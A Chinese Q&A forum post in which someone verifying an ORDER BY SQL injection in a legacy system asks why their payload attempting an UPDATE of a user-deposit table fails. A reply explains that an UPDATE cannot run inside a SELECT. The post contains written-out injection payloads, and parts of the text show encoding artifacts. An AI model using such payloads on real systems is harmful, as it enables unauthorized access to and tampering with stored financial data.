mysql - sql報錯原因?
問題描述
發(fā)現(xiàn)一個正在維護的老系統(tǒng)的基于orderBy的sql注入漏洞,準(zhǔn)備驗證一下,
我先執(zhí)行這個sql注入,是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是當(dāng)我執(zhí)行這個帶update語句的sql時報錯了:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
報錯
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我應(yīng)該如何讓他執(zhí)行update?
問題解答
回答1:主體是select的時候,里面是不能update的,否則執(zhí)行不了的,mybatis這種注入我試過,<select>里執(zhí)行update直接報錯,注入不了
相關(guān)文章:
1. golang - 用IDE看docker源碼時的小問題2. docker安裝后出現(xiàn)Cannot connect to the Docker daemon.3. 在windows下安裝docker Toolbox 啟動Docker Quickstart Terminal 失敗!4. docker-machine添加一個已有的docker主機問題5. Docker for Mac 創(chuàng)建的dnsmasq容器連不上/不工作的問題6. docker-compose中volumes的問題7. 我在centos容器里安裝docker,也就是在容器里安裝容器,報錯了?8. 為什么我ping不通我的docker容器呢???9. docker容器呢SSH為什么連不通呢?10. docker不顯示端口映射呢?

網(wǎng)公網(wǎng)安備